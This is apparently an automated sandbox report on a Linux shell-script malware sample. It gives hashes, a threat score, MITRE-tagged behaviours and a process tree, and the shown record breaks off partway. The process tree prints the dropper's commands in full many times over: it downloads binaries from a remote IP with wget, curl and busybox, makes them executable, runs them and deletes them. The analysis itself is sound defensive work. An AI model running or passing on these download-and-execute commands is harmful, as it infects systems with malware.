35a78ef6a67c8420e8089739c0c648749f15ee2dd71a92bda8e2cfc1c8a5ade2

Analysis

max time kernel
33s
max time network
34s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
06/11/2024, 02:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
35a78ef6a67c8420e8089739c0c648749f15ee2dd71a92bda8e2cfc1c8a5ade2.sh
Size 10KB
Sample241106-cwpyzatajf
SHA256 35a78ef6a67c8420e8089739c0c648749f15ee2dd71a92bda8e2cfc1c8a5ade2
MD5 3ff410d90eb9ee257bc50d1ac12b71da
SHA1 c80bf7cade3c54902bb3938f1cca0c2a44507b46
SHA512 58b2c891d176426f65525760ba97a00aea768d9272021feb877751a011d6d919399bd0279ccbc88d44e7caf9ea847753763ebc653b3c799b72ee8308327afd21
SSDEEP 192:9Tkg2nzUl9qIDEgcTgYbmgcTgYwMHnzUl9e:9ogMIDwJA
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
814	chmod
821	chmod
851	chmod
727	chmod
795	chmod
845	chmod
701	chmod
777	chmod
783	chmod
680	chmod
735	chmod
883	chmod
892	chmod
910	chmod
757	chmod
870	chmod
877	chmod
904	chmod
789	chmod
827	chmod
833	chmod
863	chmod
898	chmod
807	chmod
666	chmod
801	chmod
839	chmod
857	chmod

Executes dropped EXE 28 IoCs

Checks CPU configuration 1 TTPs 28 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 56 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K	curl
File opened for modification	/tmp/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo	curl
File opened for modification	/tmp/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8	curl
File opened for modification	/tmp/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T	curl
File opened for modification	/tmp/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K	curl
File opened for modification	/tmp/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l	curl
File opened for modification	/tmp/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK	curl
File opened for modification	/tmp/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb	curl
File opened for modification	/tmp/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK	curl
File opened for modification	/tmp/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH	curl
File opened for modification	/tmp/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T	curl
File opened for modification	/tmp/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8	curl
File opened for modification	/tmp/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo	curl
File opened for modification	/tmp/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH	curl
File opened for modification	/tmp/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu	curl
File opened for modification	/tmp/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV	curl
File opened for modification	/tmp/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8	curl
File opened for modification	/tmp/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5	curl
File opened for modification	/tmp/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb	curl
File opened for modification	/tmp/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv	curl
File opened for modification	/tmp/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV	curl
File opened for modification	/tmp/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl	curl
File opened for modification	/tmp/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl	curl
File opened for modification	/tmp/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv	curl
File opened for modification	/tmp/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8	curl
File opened for modification	/tmp/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5	curl
File opened for modification	/tmp/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu	curl
File opened for modification	/tmp/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l	curl

/tmp/35a78ef6a67c8420e8089739c0c648749f15ee2dd71a92bda8e2cfc1c8a5ade2.sh
/tmp/35a78ef6a67c8420e8089739c0c648749f15ee2dd71a92bda8e2cfc1c8a5ade2.sh
1⤵
PID:633
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:635
- /usr/bin/wget
  wget http://87.120.84.230/bins/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  PID:638
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:656
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  PID:664
- /bin/chmod
  chmod 777 p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  - File and Directory Permissions Modification
  PID:666
- /tmp/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  ./p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  - Executes dropped EXE
  PID:667
- /bin/rm
  rm p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  PID:668
- /usr/bin/wget
  wget http://87.120.84.230/bins/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  PID:669
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:670
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  PID:675
- /bin/chmod
  chmod 777 UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  ./UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  - Executes dropped EXE
  PID:681
- /bin/rm
  rm UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  PID:682
- /usr/bin/wget
  wget http://87.120.84.230/bins/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  PID:683
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:689
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  PID:696
- /bin/chmod
  chmod 777 KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  - File and Directory Permissions Modification
  PID:701
- /tmp/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  ./KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  - Executes dropped EXE
  PID:703
- /bin/rm
  rm KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  PID:704
- /usr/bin/wget
  wget http://87.120.84.230/bins/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  PID:705
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  PID:721
- /bin/chmod
  chmod 777 k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  ./k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  - Executes dropped EXE
  PID:729
- /bin/rm
  rm k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  PID:730
- /usr/bin/wget
  wget http://87.120.84.230/bins/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  PID:731
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  PID:734
- /bin/chmod
  chmod 777 sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  ./sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  PID:738
- /usr/bin/wget
  wget http://87.120.84.230/bins/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  PID:752
- /bin/chmod
  chmod 777 Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  ./Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  PID:759
- /usr/bin/wget
  wget http://87.120.84.230/bins/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  PID:773
- /bin/chmod
  chmod 777 leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  ./leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  - Executes dropped EXE
  PID:778
- /bin/rm
  rm leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  PID:779
- /usr/bin/wget
  wget http://87.120.84.230/bins/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  PID:780
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  PID:782
- /bin/chmod
  chmod 777 YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  ./YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  - Executes dropped EXE
  PID:784
- /bin/rm
  rm YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  PID:785
- /usr/bin/wget
  wget http://87.120.84.230/bins/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  PID:788
- /bin/chmod
  chmod 777 gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  ./gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  PID:791
- /usr/bin/wget
  wget http://87.120.84.230/bins/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  PID:794
- /bin/chmod
  chmod 777 iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  ./iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  - Executes dropped EXE
  PID:796
- /bin/rm
  rm iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  PID:797
- /usr/bin/wget
  wget http://87.120.84.230/bins/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  PID:798
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  PID:800
- /bin/chmod
  chmod 777 zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  ./zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  - Executes dropped EXE
  PID:802
- /bin/rm
  rm zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  PID:803
- /usr/bin/wget
  wget http://87.120.84.230/bins/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  PID:806
- /bin/chmod
  chmod 777 Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  ./Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  PID:809
- /usr/bin/wget
  wget http://87.120.84.230/bins/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  PID:812
- /bin/chmod
  chmod 777 LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  ./LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  PID:816
- /usr/bin/wget
  wget http://87.120.84.230/bins/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  PID:820
- /bin/chmod
  chmod 777 kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  ./kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  PID:823
- /usr/bin/wget
  wget http://87.120.84.230/bins/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  PID:826
- /bin/chmod
  chmod 777 kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  ./kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
  2⤵
  PID:829
- /usr/bin/wget
  wget http://87.120.84.230/bins/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  PID:832
- /bin/chmod
  chmod 777 gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  ./gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  - Executes dropped EXE
  PID:834
- /bin/rm
  rm gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
  2⤵
  PID:835
- /usr/bin/wget
  wget http://87.120.84.230/bins/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  PID:838
- /bin/chmod
  chmod 777 iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  ./iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
  2⤵
  PID:841
- /usr/bin/wget
  wget http://87.120.84.230/bins/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  PID:844
- /bin/chmod
  chmod 777 zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  ./zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
  2⤵
  PID:847
- /usr/bin/wget
  wget http://87.120.84.230/bins/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  PID:850
- /bin/chmod
  chmod 777 Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  ./Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
  2⤵
  PID:853
- /usr/bin/wget
  wget http://87.120.84.230/bins/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  PID:856
- /bin/chmod
  chmod 777 LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  ./LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  - Executes dropped EXE
  PID:858
- /bin/rm
  rm LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
  2⤵
  PID:859
- /usr/bin/wget
  wget http://87.120.84.230/bins/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  PID:860
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  PID:862
- /bin/chmod
  chmod 777 sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  ./sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
  2⤵
  PID:865
- /usr/bin/wget
  wget http://87.120.84.230/bins/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  PID:866
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  PID:868
- /bin/chmod
